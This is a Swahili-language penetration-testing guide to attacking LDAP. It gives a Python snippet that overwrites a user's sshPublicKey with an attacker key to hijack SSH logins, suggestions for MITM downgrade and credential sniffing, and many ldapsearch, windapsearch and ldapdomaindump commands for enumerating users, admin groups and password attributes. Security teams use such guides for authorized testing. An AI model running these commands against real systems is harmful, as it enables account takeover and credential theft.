Matumizi ya **LDAP** (Itifaki ya Upatikanaji Rahisi wa Dircetory) yanahusiana sana na kutafuta vitengo mbalimbali kama vile mashirika, watu binafsi, na rasilimali kama faili na vifaa ndani ya mitandao, iwe ya umma au ya kibinafsi. Inatoa njia iliyopunguzwa ikilinganishwa na mtangulizi wake, DAP, kwa kuwa na kificho kidogo.
Miongozo ya LDAP imepangwa ili kuruhusu usambazaji wao kwenye seva kadhaa, ambapo kila seva ina nakala iliyohifadhiwa na kusawazishwa ya saraka, inayojulikana kama Wakala wa Mfumo wa Saraka (DSA). Jukumu la kushughulikia maombi liko kabisa kwa seva ya LDAP, ambayo inaweza kuwasiliana na DSA nyingine kama inavyohitajika ili kutoa jibu moja kwa mwenyeombaji.
Muundo wa saraka ya LDAP unaonekana kama **muundo wa mti, ukiwa na saraka ya mizizi juu**. Hii inagawanyika katika nchi, ambazo zinagawanyika zaidi katika mashirika, na kisha kwenye vitengo vya shirika vinavyowakilisha idara au sehemu mbalimbali, hatimaye kufikia kiwango cha vitengo binafsi, ikiwa ni pamoja na watu na rasilimali zinazoshiriki kama faili na printa.
**Bandari ya chaguo-msingi:** 389 na 636 (ldaps). Katalogi ya Kimataifa (LDAP katika ActiveDirectory) inapatikana kwa chaguo-msingi kwenye bandari 3268, na 3269 kwa LDAPS.
```
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
```
### LDAP Fomati ya Kubadilishana Data
LDIF (LDAP Fomati ya Kubadilishana Data) inafafanua yaliyomo ya saraka kama seti ya rekodi. Pia inaweza kuwakilisha maombi ya kusasisha (Ongeza, Badilisha, Futa, Badilisha Jina).
```bash
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:

```
* Mistari 1-3 yanafafanua kikoa cha kiwango cha juu cha ndani
* Mistari 5-8 yanafafanua kikoa cha kiwango cha kwanza cha moneycorp (moneycorp.local)
* Mistari 10-16 yanafafanua vitengo viwili vya shirika: dev na mauzo
* Mistari 18-26 yanajenga kitu cha kikoa na kutoa sifa na thamani
## Andika data
Tafadhali kumbuka kuwa ikiwa unaweza kubadilisha thamani, unaweza kufanya vitendo vya kuvutia sana. Kwa mfano, fikiria kwamba **unaweza kubadilisha habari ya "sshPublicKey"** ya mtumiaji wako au mtumiaji yeyote. Ni uwezekano mkubwa kwamba ikiwa sifa hii ipo, basi **ssh inasoma funguo za umma kutoka LDAP**. Ikiwa unaweza kubadilisha funguo za umma za mtumiaji, **utaweza kuingia kama mtumiaji huyo hata ikiwa uwakilishi wa nenosiri haipo katika ssh**.
```bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
```
## Pata Nakala za Vitambulisho Wazi
Ikiwa LDAP inatumika bila SSL, unaweza **kupata nakala za vitambulisho wazi** kwenye mtandao.
Pia, unaweza kufanya shambulio la **MITM** kwenye mtandao **kati ya seva ya LDAP na mteja.** Hapa unaweza kufanya **Shambulio la Kupunguza kiwango** ili mteja atumie **vitambulisho wazi** kuingia.
**Ikiwa SSL inatumika**, unaweza jaribu kufanya **MITM** kama ilivyotajwa hapo juu lakini kwa kutoa **cheti bandia**, ikiwa **mtumiaji anakubali**, unaweza kupunguza kiwango cha njia ya uwakilishi na kuona tena vitambulisho.
## Upatikanaji Usio na Jina
### Pita Ukaguzi wa TLS SNI
Kulingana na [**makala hii**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), kwa tu kufikia seva ya LDAP na jina la kikoa cha kubahatisha (kama vile company.com), alikuwa na uwezo wa kuwasiliana na huduma ya LDAP na kutoa habari kama mtumiaji asiyejulikana:
```bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```
### Kufunga kwa LDAP bila kitambulisho
[Kufunga kwa LDAP bila kitambulisho](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) kuruhusu **wahalifu wasiothibitishwa** kupata habari kutoka kwa kikoa, kama vile orodha kamili ya watumiaji, vikundi, kompyuta, sifa za akaunti ya mtumiaji, na sera ya nenosiri ya kikoa. Hii ni **mpangilio wa zamani**, na tangu Windows Server 2003, watumiaji waliothibitishwa tu wanaruhusiwa kuanzisha ombi la LDAP.\
Hata hivyo, wahudumu wanaweza kuwa wamehitaji **kuweka programu fulani kuruhusu kufunga bila kitambulisho** na kutoa ufikiaji zaidi ya kiwango kilichokusudiwa, hivyo kutoa watumiaji wasiothibitishwa ufikiaji wa vitu vyote katika AD.
## Vitambulisho Sahihi
Ikiwa una vitambulisho sahihi kuingia kwenye seva ya LDAP, unaweza kudondosha habari yote kuhusu Msimamizi wa Kikoa kwa kutumia:
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
```
### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap)
## Uchunguzi
### Kiotomatiki
Kwa kutumia hii utaweza kuona **habari za umma** (kama jina la kikoa)**:**
```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```
### Python
<details>
<summary>Angalia utambuzi wa LDAP na python</summary>
Unaweza kujaribu **kutambua LDAP na au bila ya sifa za utambulisho kwa kutumia python**: `pip3 install ldap3`
Kwanza jaribu **kuunganisha bila** sifa za utambulisho:
```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```
Ikiwa jibu ni `True` kama ilivyokuwa kwenye mfano uliopita, unaweza kupata baadhi ya **data muhimu** ya LDAP (kama vile **naming context** au **domain name**) kutoka kwa:
```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
```
Marudio unapokuwa na muktadha wa jina unaweza kufanya maswali zaidi ya kusisimua. Swali hili rahisi linapaswa kuonyesha vitu vyote katika saraka:
```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```
Au **tiririka** ldap nzima:
```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```
</details>
### windapsearch
[**Windapsearch**](https://github.com/ropnop/windapsearch) ni skripti ya Python inayotumika kuchunguza watumiaji, vikundi, na kompyuta kutoka kwenye kikoa cha Windows kwa kutumia maswali ya LDAP.
```bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```
### ldapsearch
Angalia vitambulisho vya kufuta au ikiwa vitambulisho vyako ni halali:
```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```
```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
```
Ikiwa utapata kitu kinasema kwamba "_bind lazima ikamilike_" inamaanisha kuwa vibali ni sahihi.
Unaweza kuchambua **kila kitu kutoka kwenye kikoa** kwa kutumia:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```
Changanua **watumiaji**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Changanua **kompyuta**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **taarifa yangu**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **Domain Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **Watumiaji wa Kikoa**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **Enterprise Admins**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **Wahusika**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Changanua **Kikundi cha Kijijini cha Desktop**:
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Kuona kama una ufikiaji wa nenosiri lolote, unaweza kutumia grep baada ya kutekeleza moja ya maswali yafuatayo:
```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```
Tafadhali, kumbuka kuwa nywila unazoweza kupata hapa hazihitaji kuwa halisi...
